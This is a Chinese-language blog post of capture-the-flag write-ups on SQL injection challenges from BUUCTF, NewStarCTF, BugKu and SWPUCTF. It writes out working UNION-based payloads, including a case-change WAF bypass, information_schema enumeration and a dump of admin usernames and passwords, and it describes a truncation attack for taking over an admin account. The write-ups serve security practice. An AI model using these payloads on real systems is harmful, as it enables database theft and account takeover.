BUUCTF中SQL注入writeup
[NewStarCTF 2023 公开赛道]ez_sql
?id=1' order by 1 --+
发现有WAF,这里使用大写绕过
?id=1' Order by 1 --+
一直尝试直到?id=1' Order by 6 --+
没有回显,说明字段数为5
可见,数据库名就是ctf
到这里答案就是到手的鸭子了
?id=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA ='ctf' --+
显然flag在here_is_flag这个表中,但我们先要找到在哪个字段下(当然一般可以直接猜出来字段名为flag)
?id=1' UNION SELECT 1,2,3,4,GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='here_is_flag' --+
大功告成
BUU SQL COURSE 1
点进去发现有两个模块,一个新闻页面,一个登录页面。
点开热点中的热点一,发现这里有一个php请求,猜测是否这里有sql注入(为什么呢)
爆字段数
爆库名
?id=-1 union select 1,database() --+
爆表名
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news' --+
爆字段名
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' --+
爆字段值
?id=-1 union select 1,group_concat(username,',',password) from news.admin --+
得到账号密码后就去登录吧
完结撒花★,°:.☆( ̄▽ ̄)/$:.°★ 。
CTF-BugKu-sqli-0x1
https://blog.csdn.net/weixin_73625393/article/details/137773172
http://danielw.top/index.php/daniel/340/
没有变化,使用的是POST传参
打开源代码看看
发现有提示。查看这个php文件
待水平进步再来做这个qaq
CTF-BugKu-login1
https://blog.csdn.net/lga0325/article/details/143353230
在登录密码是,账号默认为admin,输入各种万能密码都没用
查看注册页面
发现admin已经存在了
这个时候考虑SQL约束攻击
在注册用户时,因为 insert 插入数据受到数据库定义的长度限制,会自动将超出长度的数据截断。因此,如果 uname 的长度限制为 char(7),那么注册账号'admin a'
时,由于长度超出,则后面的 a
会被截断,此时,数据库存储数据会把空格删除,在数据库内就变成了admin
(?怎么会有七个字符?)
此时登录时使用 admin 和自己注册的密码登录,数据库返回注册时的账号信息,但是如果业务侧仅根据返回的用户名信息判断权限,则会导致水平越权的漏洞
注册成功,注意用户名这里有一个空格
直接使用admin身份登录得到flag
[SWPUCTF 2024 秋季新生赛]ez_sql
判断为字符型
他将输入内容转化为十六进制ASCII码,所以直接通过hackerbar修改url的话需要进一步转化一下。所以为了方便直接再textbox里注入
这里发现有报错回显,所以可以使用联合注入。但是这时发现有典型的闭合方式错误。
https://blog.csdn.net/cyynid/article/details/128630181
最后得出是 # 闭合
1’ order by 5# –+
1’ union select 1,2,3,4;# –+